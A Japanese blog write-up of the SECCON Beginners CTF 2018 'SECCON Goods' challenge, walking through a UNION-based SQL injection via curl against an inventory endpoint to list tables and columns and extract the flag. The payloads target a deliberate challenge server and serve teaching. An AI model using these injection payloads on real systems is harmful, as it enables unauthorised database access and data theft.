こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

SECCON Beginners CTF 2018 - SECCON Goods

問題文

SECCON ショップへようこそ!在庫情報はこちらをご覧ください。
http://goods.chall.beginners.seccon.jp

f:id:graneed:20180527113035p:plain

writeup

特に入力フォーム等は無い画面。
Fiddlerを起動して通信を観察すると、在庫リストを表示するために、 /items.php?minstock=0へGETリクエストを発行してJSON形式のデータを取得している。

curlで実行してみる。実行した結果はjqコマンドで整形する。

ctfuser@kali:~$ curl -s http://goods.chall.beginners.seccon.jp/items.php -G --data-urlencode "minstock=1" | jq
[
  {
    "id": "1",
    "name": "Tシャツ",
    "description": "S サイズ",
    "price": "2000",
    "stock": "8"
  },
  {
    "id": "2",
    "name": "Tシャツ",
    "description": "M サイズ",
    "price": "2000",
    "stock": "3"
  },
  {
    "id": "3",
    "name": "Tシャツ",
    "description": "L サイズ",
    "price": "2000",
    "stock": "7"
  },
  {
    "id": "4",
    "name": "Tシャツ",
    "description": "XL サイズ",
    "price": "2000",
    "stock": "4"
  },
  {
    "id": "5",
    "name": "パーカー",
    "description": "S サイズ",
    "price": "5000",
    "stock": "7"
  },
  {
    "id": "6",
    "name": "パーカー",
    "description": "M サイズ",
    "price": "5000",
    "stock": "5"
  },
  {
    "id": "7",
    "name": "パーカー",
    "description": "L サイズ",
    "price": "5000",
    "stock": "3"
  },
  {
    "id": "8",
    "name": "パーカー",
    "description": "XL サイズ",
    "price": "5000",
    "stock": "2"
  }
]

パラメータにSQLインジェクション脆弱性あり。
union all select 1,2,3,4,5を付けると、そのレコードが返ってくる。

ctfuser@kali:~$ curl -s http://goods.chall.beginners.seccon.jp/items.php -G --data-urlencode "minstock=1 union all select 1,2,3,4,5" | jq
[
  {
    "id": "1",
    "name": "Tシャツ",
    "description": "S サイズ",
    "price": "2000",
    "stock": "8"
  },
(snip)
  {
    "id": "8",
    "name": "パーカー",
    "description": "XL サイズ",
    "price": "5000",
    "stock": "2"
  },
  {
    "id": "1",
    "name": "2",
    "description": "3",
    "price": "4",
    "stock": "5"
  }
]

information_schema.tablesを取得して、テーブル名を確認する。

ctfuser@kali:~$ curl -s http://goods.chall.beginners.seccon.jp/items.php -G --data-urlencode "minstock=1 union all select 1,2,3,4,table_name from information_schema.tables" | jq
[
  {
    "id": "1",
    "name": "Tシャツ",
    "description": "S サイズ",
    "price": "2000",
    "stock": "8"
  },
(snip)
  {
    "id": "1",
    "name": "2",
    "description": "3",
    "price": "4",
    "stock": "flag"
  },
  {
    "id": "1",
    "name": "2",
    "description": "3",
    "price": "4",
    "stock": "items"
  }
]

flagテーブルとitemsテーブルがあることがわかった。
flagテーブルの列名をinformation_schema.columnsから確認する。

ctfuser@kali:~$ curl -s http://goods.chall.beginners.seccon.jp/items.php -G --data-urlencode "minstock=1 union all select 1,2,3,4,column_name from information_schema.columns where table_name='flag'" | jq
[
  {
    "id": "1",
    "name": "Tシャツ",
    "description": "S サイズ",
    "price": "2000",
    "stock": "8"
  },
(snip)
  {
    "id": "1",
    "name": "2",
    "description": "3",
    "price": "4",
    "stock": "flag"
  }
]

flagテーブルにflag列があることがわかった。
最後にflagテーブルのflag列を確認する。

ctfuser@kali:~$ curl -s http://goods.chall.beginners.seccon.jp/items.php -G --data-urlencode "minstock=1 union all select 1,2,3,4,flag from flag" | jq
[
  {
    "id": "1",
    "name": "Tシャツ",
    "description": "S サイズ",
    "price": "2000",
    "stock": "8"
  },
(snip)
  {
    "id": "1",
    "name": "2",
    "description": "3",
    "price": "4",
    "stock": "ctf4b{cl4551c4l_5ql_1nj3c710n}"
  }
]

フラグゲット。
ctf4b{cl4551c4l_5ql_1nj3c710n}